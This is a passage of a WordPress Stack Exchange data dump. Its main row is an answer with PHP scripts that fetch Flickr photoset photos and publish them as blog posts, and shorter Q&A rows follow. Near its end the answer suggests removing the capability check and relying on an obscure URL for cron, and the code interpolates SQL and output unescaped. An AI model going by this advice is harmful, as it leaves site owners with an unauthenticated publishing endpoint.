href=&quot;http://www.flickr.com/services/api/flickr.photos.search.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Searching by Tags&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first example I'll use my Flickr photo set entitled &lt;em&gt;&quot;&lt;a href=&quot;http://www.flickr.com/photos/mikeschinkel/sets/72157594340403773/&quot; rel=&quot;nofollow&quot;&gt;Barber Motorcycle Museum - Oct 21-22 2006&lt;/a&gt;&quot; (I'm using it because people seem to like it; it gets lots of traffic.)&lt;/em&gt; You'll need to get the &lt;code&gt;photoset_id&lt;/code&gt; which you can find in the URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101013-153049.png&quot; alt=&quot;Where to find 'photoset_id' on a Flickr Photo Setlink text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you need to call the &lt;code&gt;flickr.photosets.getPhotos&lt;/code&gt; method of the Flickr API with a URL of the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://api.flickr.com/services/rest/?method=flickr.photosets.getPhotos&amp;amp;api_key={YOUR_API_KEY_GOES_HERE}&amp;amp;photoset_id=72157594340403773&amp;amp;media=photos&amp;amp;format=json&amp;amp;nojsoncallback=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; that once you replace &lt;code&gt;{YOUR_API_KEY_GOES_HERE}&lt;/code&gt; with your own API key you can actually call it from your browser and it will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101013-154814.png&quot; alt=&quot;Calling the Flickr API directly from your Browser&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that I request &lt;a href=&quot;http://json.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JSON&lt;/strong&gt;&lt;/a&gt; back using the &lt;code&gt;format=json&amp;amp;nojsoncallback=1&lt;/code&gt; URL parameters because I find it much easier to handle JSON than XML, and the &lt;code&gt;nojsoncallback&lt;/code&gt; omits the callback on would need if working in Javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'll get back is &lt;strong&gt;a nested data structure containing a list of photos&lt;/strong&gt;, and for each photos you'll get an object with the following attributes &lt;em&gt;(what I'm showing below it the output of the first element of the array of photos as generated by the standard PHP &lt;code&gt;print_r()&lt;/code&gt; function):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0] =&amp;gt; stdClass Object&#xA;  (&#xA;    [id] =&amp;gt; 276672853&#xA;    [secret] =&amp;gt; 099eaa1af2&#xA;    [server] =&amp;gt; 107&#xA;    [farm] =&amp;gt; 1&#xA;    [title] =&amp;gt; Barber Motorcycle Museum - Oct 22 2006 (500)&#xA;    [isprimary] =&amp;gt; 0&#xA;  )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Flickr's Photo URL Formats&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now that we have our list of recent photos you next need to &lt;strong&gt;understand Flickr's Photo URL format&lt;/strong&gt; which you can read more about here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flickr.com/services/api/misc.urls.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Flickr's Photo Source URLs&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In general Flickr's photo URLs go like this:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;500px Wide or High &quot;Standard&quot; Photo:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://farm{farm-id}.static.flickr.com/{server-id}/{id}_{secret}.jpg&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This version will be 500 pixels on its longest side.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Original Image:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://farm{farm-id}.static.flickr.com/{server-id}/{id}_{o-secret}_o.(jpg|gif|png)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This can be whatever was uploaded, a .JPG, a .GIF or a .PNG.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Specific Sized Versions:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;These are always .JPG:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://farm{farm-id}.static.flickr.com/{server-id}/{id}_{secret}_[size].jpg&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;[size]&lt;/code&gt; is one of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;s&lt;/strong&gt; - small square 75x75&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;t&lt;/strong&gt; - thumbnail, 100 on its longest side&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;m&lt;/strong&gt; - small, 240 on its longest side&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;z&lt;/strong&gt; - medium, 640 on its longest side&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;b&lt;/strong&gt; - large, 1024 on its longest side (only exists for very large original images)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the following URL taken from the example results returned above pulls the photo that follows &lt;em&gt;(note how the &lt;code&gt;z&lt;/code&gt; before the &lt;code&gt;.jpg&lt;/code&gt; indicates a photo 640 pixels wide on the longest size:)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://farm1.static.flickr.com/107/276672853_099eaa1af2_z.jpg&quot; rel=&quot;nofollow&quot;&gt;http://farm1.static.flickr.com/107/276672853_099eaa1af2_z.jpg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://farm1.static.flickr.com/107/276672853_099eaa1af2_z.jpg&quot; alt=&quot;Photo of Motorcycle on Flickr&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armed with all of the above information we can now create a PHP script using WordPress' &lt;code&gt;WP_Http&lt;/code&gt; class to retrieve the photos from our set. I wrote a simple script which you can copy into the root of your website being sure to replace with your own &lt;code&gt;api_key&lt;/code&gt; and &lt;code&gt;photoset_id&lt;/code&gt; before running it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include &quot;wp-load.php&quot;;&#xA;define('FLICKR_API_KEY','{YOUR_API_KEY_GOES_HERE}');&#xA;define('FLICKR_GET_URL','http://api.flickr.com/services/rest/');&#xA;define('PHOTO_SIZE_CHAR', 's'); // s = 75x75 pixels on longest side&#xA;$result = flickr_get(array(&#xA;  'method'      =&amp;gt; 'flickr.photosets.getPhotos',&#xA;  'photoset_id' =&amp;gt; '{YOUR_PHOTOSET_ID_GOES_HERE}',&#xA;  'media'       =&amp;gt; 'photos'&#xA;));&#xA;if (isset($result['body']-&amp;gt;photoset-&amp;gt;photo)) {&#xA;  $size = PHOTO_SIZE_CHAR;&#xA;  foreach($result['body']-&amp;gt;photoset-&amp;gt;photo as $photo) {&#xA;    extract((array)$photo);&#xA;    $url = &quot;http://farm{$farm}.static.flickr.com/{$server}/{$id}_{$secret}_{$size}.jpg&quot;;&#xA;    echo &quot;&amp;lt;img src=\&quot;{$url}\&quot; alt=\&quot;{$title}\&quot; /&amp;gt;\n&quot;;&#xA;  }&#xA;}&#xA;function flickr_get($params,$args=array()) {&#xA;  $http = new WP_Http();&#xA;  $params['api_key'] = FLICKR_API_KEY;&#xA;  $params['format'] = 'json';&#xA;  $params['nojsoncallback'] = 1;&#xA;  $params = http_build_query($params);&#xA;  $url = FLICKR_GET_URL . &quot;?{$params}&quot;;&#xA;  $result = $http-&amp;gt;get($url,$args);&#xA;  if (isset($result['response']['code']) &amp;amp;&amp;amp; $result['response']['code'] == 200)&#xA;    $result['body'] = json_decode($result['body']);&#xA;  else&#xA;    $result = false;&#xA;  return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the above with my API key and my Photoset ID I get the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/http__wp30.dev_test_test27.php%3FXDEBUG_SESSION_START%3DWebIDE1-20101013-162722.png&quot; alt=&quot;Output of a PHP Script Showing a Flickr Photoset&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;PHP Script for Posting of a Flickr Photoset Photo to your Blog&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Based on all that I've written a page called &lt;code&gt;blog-from-flickr.php&lt;/code&gt; that you can put in the root of your website and call to get the following simple form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101014-015058.png&quot; alt=&quot;Blog From Flickr PHP Script for WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter a valid Photoset ID and then click that button and you'll get be redirected to a blog post that looks something like this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101013-182903.png&quot; alt=&quot;Blog Post Generated from a Flickr Photoset Photo via a PHP Script&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get it all working was a bit more involved than the simple code above and more than I have time left to fully document but I'll post it below for your review (and you can also &lt;a href=&quot;http://gist.github.com/625088&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;download it from here&lt;/strong&gt;&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of special note are the following aspects in the code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The script &lt;strong&gt;pulls the twenty five (25) most recent photos&lt;/strong&gt; from the photoset and blog the earliest one of those. I assumed you'd want to upload in bulk and then post chronologically. If you upload more than 25 then you need to change the value of the constant &lt;code&gt;FLICKR_PHOTO_COUNT&lt;/code&gt; to something larger, up to 500 &lt;em&gt;(500 is the limit specified by Flickr.)&lt;/em&gt; Increasing it will only slightly increase how long it takes the script to run; it might not even be noticeable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script &lt;strong&gt;stores Flickr's photo ID as a hidden custom field in &lt;code&gt;wp_postmeta&lt;/code&gt;&lt;/strong&gt; using the key &lt;code&gt;'_flickr_photo_id'&lt;/code&gt;. That's how I can tell if it's been blogged before or not.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script &lt;strong&gt;uses an HTTP &lt;code&gt;POST&lt;/code&gt; method&lt;/strong&gt; &lt;em&gt;(i.e. using an HTML &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;)&lt;/em&gt; vs an &lt;strong&gt;HTTP &lt;code&gt;GET&lt;/code&gt; method&lt;/strong&gt; &lt;em&gt;(calling a URL directly)&lt;/em&gt; to &lt;strong&gt;avoid accidentally triggering the posting process&lt;/strong&gt; and to &lt;strong&gt;allow posting from a different Photoset&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script uses &lt;code&gt;current_user_can('publish_posts')&lt;/code&gt; to &lt;strong&gt;ensure only a logged-in user&lt;/strong&gt; with posting rights can trigger the posting logic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script grabs &lt;strong&gt;the photo's &lt;em&gt;description&lt;/em&gt;&lt;/strong&gt; from Flickr and use it &lt;strong&gt;as a prefix to the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag for the post content&lt;/strong&gt; &lt;em&gt;(note my example screenshot didn't have a description hence you see only the photo.)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script &lt;strong&gt;calls PHP's &lt;code&gt;getimagesize()&lt;/code&gt; with a URL&lt;/strong&gt; of the photo to get the height and width for the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag; if your server is not configured for that you won't get size and width tags on your images &lt;em&gt;(actually the code might crash; mine works so I couldn't test. If it crashes, you'll know. :)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I didn't go to the effort to bring the tags over from Flickr and add them as tags, but that would be a worthwhile exercise for someone else.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And that's about it. On to the code...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Flickr Photo Blogging Code:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;&#xA;  blog-from-flickr.php&#xA;&#xA;  Allows the WordPress blog owner to blog a recent photo from a Flickr Photoset just by clicking a button.&#xA;&#xA;  Author: Mike Schinkel (http://mikeschinkel.com)&#xA;&#xA;  Just drop this example into the root of your website and call directly to see it work.&#xA;  Use the class in your plugins or themes.&#xA;&#xA;  In Answer To: http://wordpress.stackexchange.com/questions/2830/&#xA;&#xA;*/&#xA;&#xA;include &quot;wp-load.php&quot;;&#xA;define('FLICKR_API_KEY','{YOUR_FLICKR_API_KEY_GOES_HERE}');&#xA;define('DEFAULT_PHOTOSET_ID','{YOUR DEFAULT_PHOTOSET_GOES_HERE');&#xA;define('FLICKR_PHOTO_COUNT',25);&#xA;&#xA;define('FLICKR_GET_URL','http://api.flickr.com/services/rest/');&#xA;&#xA;$photoset_id = DEFAULT_PHOTOSET_ID;&#xA;&#xA;if (count($_POST)==0)&#xA;  echo &amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;  &amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;    Enter Flickr Photoset ID: &amp;lt;input type=&quot;text&quot; name=&quot;photoset_id&quot; value=&quot;{$photoset_id}&quot; size=&quot;25&quot; /&amp;gt;&#xA;    &amp;amp;nbsp;&amp;lt;input type=&quot;submit&quot; value=&quot;Blog Recent Photo from Flickr!&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;go&quot; value=&quot;go!&quot; /&amp;gt;&#xA;  &amp;lt;/form&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;HTML;&#xA;else&#xA;  BlogFlickrPhotoSetPhoto::blog_photoset_photo($_POST['photoset_id']);&#xA;&#xA;class BlogFlickrPhotoSetPhoto {&#xA;  static function blog_photoset_photo($photoset_id) {&#xA;    if (current_user_can('publish_posts')) {&#xA;      $photoset = self::get_photoset_photos($photoset_id);&#xA;      if (!$photoset) {&#xA;        echo 'Not a valid Photoset ID. &amp;lt;a href=&quot;#&quot;&amp;gt;Try again&amp;lt;/a&amp;gt;.';&#xA;      } else {&#xA;        $photo = self::get_photo_to_blog($photoset);&#xA;        if (!$photo) {&#xA;          echo 'Unexpected Error. Photo Retrieval Failed.';&#xA;        } else {&#xA;          $permalink = self::blog_photo($photo);&#xA;          wp_safe_redirect($permalink);&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;  static function blog_photo($photo) {&#xA;    $img = self::get_photo_html($photo);&#xA;    $photo_info = self::get_photo_info($photo-&amp;gt;id);&#xA;    $description = ($photo_info ? &quot;{$photo_info['body']-&amp;gt;photo-&amp;gt;description-&amp;gt;_content}&amp;lt;br/&amp;gt;&quot; : '');&#xA;    $url = self::get_photo_url($photo);&#xA;    $post_id = wp_insert_post(array(&#xA;      'post_title' =&amp;gt; $photo-&amp;gt;title,&#xA;      'post_type' =&amp;gt; 'post',&#xA;      'post_author' =&amp;gt; 1,&#xA;      'post_content' =&amp;gt; &quot;{$description}{$img}&quot;,&#xA;      'post_status' =&amp;gt; 'publish',&#xA;      'comment_status' =&amp;gt; 'open',&#xA;      'ping_status' =&amp;gt; 'open',&#xA;      'post_parent' =&amp;gt; 0,&#xA;    ));&#xA;    if ($post_id) {&#xA;      update_post_meta($post_id,'_flickr_photo_id',$photo-&amp;gt;id);&#xA;      $url = get_permalink($post_id);&#xA;    } else {&#xA;    $url = false;&#xA;    }&#xA;    return $url;&#xA;  }&#xA;  static function get_photo_to_blog($photoset) {&#xA;    global $wpdb;&#xA;    $photo = false;&#xA;    if (isset($photoset['body']-&amp;gt;photoset-&amp;gt;photo)) {&#xA;&#xA;      //Collect the list of Flickr Photo_ids from our &quot;N&quot; most resent photoset photos&#xA;      $photos = $photoset['body']-&amp;gt;photoset-&amp;gt;photo;&#xA;      foreach($photos as $index =&amp;gt; $photo) {&#xA;        $photo_ids[$index] = $photo-&amp;gt;id;&#xA;      }&#xA;      $photo_id_list = &quot;'&quot; . implode(&quot;','&quot;,$photo_ids) . &quot;'&quot;;&#xA;&#xA;      //Get a list of all photos we've already blogged&#xA;      $posts = $wpdb-&amp;gt;get_results(&quot;SELECT post_id,meta_value FROM wp_postmeta WHERE meta_key='_flickr_photo_id' &amp;amp;&amp;amp; meta_value IN ({$photo_id_list})&quot;);&#xA;&#xA;      //Remove any photos from the list we've already blogged&#xA;      $photo_ids = array_flip($photo_ids);&#xA;      foreach($posts as $post) {&#xA;        if (isset($photo_ids[$post-&amp;gt;meta_value])) {&#xA;          unset($photo_ids[$post-&amp;gt;meta_value]);&#xA;        }&#xA;      }&#xA;&#xA;      //Grab the earliest photo we've not blogged&#xA;      if (count($photo_ids)==0) {&#xA;        $photo = false;&#xA;      } else {&#xA;        krsort($photo_ids);&#xA;        $photo = $photos[reset($photo_ids)];&#xA;      }&#xA;    }&#xA;    return $photo;&#xA;  }&#xA;  static function get_photoset_photos($photoset_id) {&#xA;    $photoset = self::flickr_get(array(&#xA;      'method'      =&amp;gt; 'flickr.photosets.getPhotos',&#xA;      'photoset_id' =&amp;gt; $photoset_id,&#xA;      'media'       =&amp;gt; 'photos',&#xA;      'per_page'    =&amp;gt; FLICKR_PHOTO_COUNT,&#xA;    ));&#xA;    return $photoset;&#xA;  }&#xA;  static function get_photo_info($photo_id) {&#xA;    $photo_info = self::flickr_get(array(&#xA;      'method'   =&amp;gt; 'flickr.photos.getInfo',&#xA;      'photo_id' =&amp;gt; $photo_id,&#xA;    ));&#xA;    return $photo_info;&#xA;  }&#xA;  static function get_photo_html($photo,$size='') {&#xA;    $url = self::get_photo_url($photo,$size);&#xA;    list($width, $height) = getimagesize($url);&#xA;    $hwstring = image_hwstring($width, $height);&#xA;    return &quot;&amp;lt;img src=\&quot;{$url}\&quot; alt=\&quot;{$title}\&quot; {$hwstring} /&amp;gt;\n&quot;;&#xA;  }&#xA;  static function get_photo_url($photo,$size='') {&#xA;    extract((array)$photo);&#xA;    $size = (!empty($size) ? &quot;_{$size}&quot; : ''); // If empty the 500px version will be returned.&#xA;    return &quot;http://farm{$farm}.static.flickr.com/{$server}/{$id}_{$secret}{$size}.jpg&quot;;&#xA;  }&#xA;  static function flickr_get($params,$args=array()) {&#xA;    $http = new WP_Http();&#xA;    $params['api_key'] = FLICKR_API_KEY;&#xA;    $params['format'] = 'json';&#xA;    $params['nojsoncallback'] = 1;&#xA;    $params = http_build_query($params);&#xA;    $url = FLICKR_GET_URL . &quot;?{$params}&quot;;&#xA;    $result = $http-&amp;gt;get($url,$args);&#xA;    if (isset($result['response']['code']) &amp;amp;&amp;amp; $result['response']['code'] == 200)&#xA;      $result['body'] = json_decode($result['body']);&#xA;    else&#xA;      $result = false;&#xA;    return $result;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Fully Automatic Flickr Photo Blogging&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you need to go even farther, you can recode the above to use a pseudo-cron instead of triggering on an HTTP &lt;code&gt;POST&lt;/code&gt;. Here's a link to a few articles that can help with that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.slaven.net.au/archives/2007/02/01/timing-is-everything-scheduling-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Timing is everything: scheduling in WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://chipsandtv.com/articles/wordpress-pseudo-crons&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Pseudo Cron Jobs with WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.simonwheatley.co.uk/2009/03/04/experiments-with-wp-cron/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Experiments with WP Cron&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/cron-demo/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cron Developers Demo Plugin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And if pseudo-cron isn't good enough, you can alway rename the script to an obscure name and use real cron to retrieve that obscurely-named URL. If you need to go that route, &lt;a href=&quot;http://www.google.com/search?q=setting+up+a+cron+task&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;check Google to learn how to set up a cron task.&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case with cron you'll probably have to remove the &lt;code&gt;current_user_can()&lt;/code&gt; code because you won't be logged in.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;P.S. Getting your Flickr NSID &lt;em&gt;(User ID)&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Beyond the above you may find you need to &lt;strong&gt;get your Flickr NSID&lt;/strong&gt; &lt;em&gt;(aka your user ID)&lt;/em&gt; for some of the methods, you can find it here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flickr.com/services/api/explore/?method=flickr.people.getInfo&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;flickr.people.getInfo&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;P.P.S. Authenticating a PHP Script with Flickr is Harder&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You may note that none of my examples used required the caller to be authenticated. It's a good bit more involved to authenticate so if you need that be sure to look into the Flickr PHP libraries mentioned as I think they handle that.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-14T05:51:55.047" LastActivityDate="2010-10-14T05:51:55.047" CommentCount="8" />
  <row Id="2883" PostTypeId="2" ParentId="2837" CreationDate="2010-10-13T23:36:25.830" Score="1" ViewCount="" Body="&lt;p&gt;Polldaddy is the least bad of wp survey plugins; but there are tons of other hosted survey services that have no prerequisites beyond needing to be able to insert a JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/search?q=online+survey&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=online+survey&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-13T23:36:25.830" />
  <row Id="2884" PostTypeId="2" ParentId="2825" CreationDate="2010-10-13T23:58:43.080" Score="2" ViewCount="" Body="&lt;p&gt;Personally, I use none of them. And an NDB cluster instead. NDB is MySQL's built-in master-master replication engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only limitation of NDB in practice is the lack of full text index. But you can always use yahoo or google's API for searches within your site. I found it worth the extra redundancy, especially when considering that no server ends up being a db write bottle neck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If master-slave replication with a write bottle neck is what you need, hyperdb is developed by automattic, so it's the safer bet among the plugins you highlighted. That said, note that part of the hyperdb code is actually back ported into wp since 3.0 and the wpmu merge. (See the wp-db.php file in wp-includes, you'll notice a lot of it can handle multiple db servers out of the box.)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-13T23:58:43.080" CommentCount="1" />
  <row Id="2885" PostTypeId="1" AcceptedAnswerId="2886" CreationDate="2010-10-14T02:10:53.980" Score="1" ViewCount="1026" Body="&lt;p&gt;(&lt;strong&gt;Moderators note:&lt;/strong&gt; Was originally titled: &lt;em&gt;&quot;Custom post type problem?&quot;&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having some problems with custom post types where everything is working great except for the sidebars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some code from my &lt;code&gt;sidebar.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if (is_home()) {&#xA;    dynamic_sidebar('frontpage-sidebar');&#xA;  }&#xA;  if (is_single()) {&#xA;    dynamic_sidebar('single-post-sidebar');&#xA;  }&#xA;  ....&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally this works ok except for when I open a single page to check post &lt;code&gt;'frontpage-sidebar'&lt;/code&gt; is not loading as the &lt;code&gt;'single-post-sidebar'&lt;/code&gt; is loading instead. Where is the problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for my custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$labels = array(&#xA;  'name' =&amp;gt; _x('Tools', 'post type general name'),&#xA;  'singular_name' =&amp;gt; _x('Tool', 'post type singular name'),&#xA;  'add_new' =&amp;gt; _x('Add New', 'Tool'),&#xA;  'add_new_item' =&amp;gt; __('Add New Tool'),&#xA;  'edit_item' =&amp;gt; __('Edit Tool'),&#xA;  'new_item' =&amp;gt; __('New Tool'),&#xA;  'view_item' =&amp;gt; __('View Tool'),&#xA;  'search_items' =&amp;gt; __('Search Tools'),&#xA;  'not_found' =&amp;gt; __('No Tools found'),&#xA;  'not_found_in_trash' =&amp;gt; __('No Tools found in Trash'),&#xA;  'parent_item_colon' =&amp;gt; ''&#xA;);&#xA;$args = array(&#xA;  'labels' =&amp;gt; $labels,&#xA;  'public' =&amp;gt; true,&#xA;  'publicly_queryable' =&amp;gt; true,&#xA;  'show_ui' =&amp;gt; true,&#xA;  'query_var' =&amp;gt; true,&#xA;  'rewrite' =&amp;gt; true,&#xA;  'capability_type' =&amp;gt; 'post',&#xA;  'hierarchical' =&amp;gt; false,&#xA;  'menu_position' =&amp;gt; 2,&#xA;  'supports' =&amp;gt; array('title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments','page-attributes') // 'not sure that post can have page-attributes ????'&#xA;);&#xA;register_post_type('tools', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I load different sidebars on different pages when using custom post types instead of  ordinary posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-14T23:20:20.240" LastActivityDate="2011-06-29T05:01:09.847" Title="is_home() and is_single() Not Working as Expected with Custom Post Types?" Tags="&lt;3.0&gt;&lt;custom-post-types&gt;&lt;sidebar&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="2886" PostTypeId="2" ParentId="2885" CreationDate="2010-10-14T06:22:03.560" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@user1147&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand your question correctly then use are asking why &lt;code&gt;is_home()&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt; when you are viewing the URL &lt;code&gt;/tools/example-tool/&lt;/code&gt;?  If I understand your question the answer is simply that is_home() is not &lt;code&gt;true&lt;/code&gt; for Custom Post Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually &lt;code&gt;is_home()&lt;/code&gt; should never be &lt;code&gt;true&lt;/code&gt; except for 1.) when on the home page list of posts, or 2.) when a &lt;em&gt;&quot;static page&quot;&lt;/em&gt; has been set to be a &lt;em&gt;&quot;Posts page&quot;&lt;/em&gt; in the &lt;em&gt;Settings &gt; Reading&lt;/em&gt; section of the admin &lt;em&gt;(In my screen shot my &quot;Posts page&quot; has been set to a &quot;Page&quot; -- &lt;code&gt;post_type=='page'&lt;/code&gt; -- whose Title is &quot;Home&quot;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101014-021612.png&quot; alt=&quot;Setting a Home Page in WordPress 3.0's Admin Console&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want the sidebar to show up I think you'll need to use a different criteria than &lt;code&gt;is_home()&lt;/code&gt;. Can you describe in words what you were trying to accomplish this 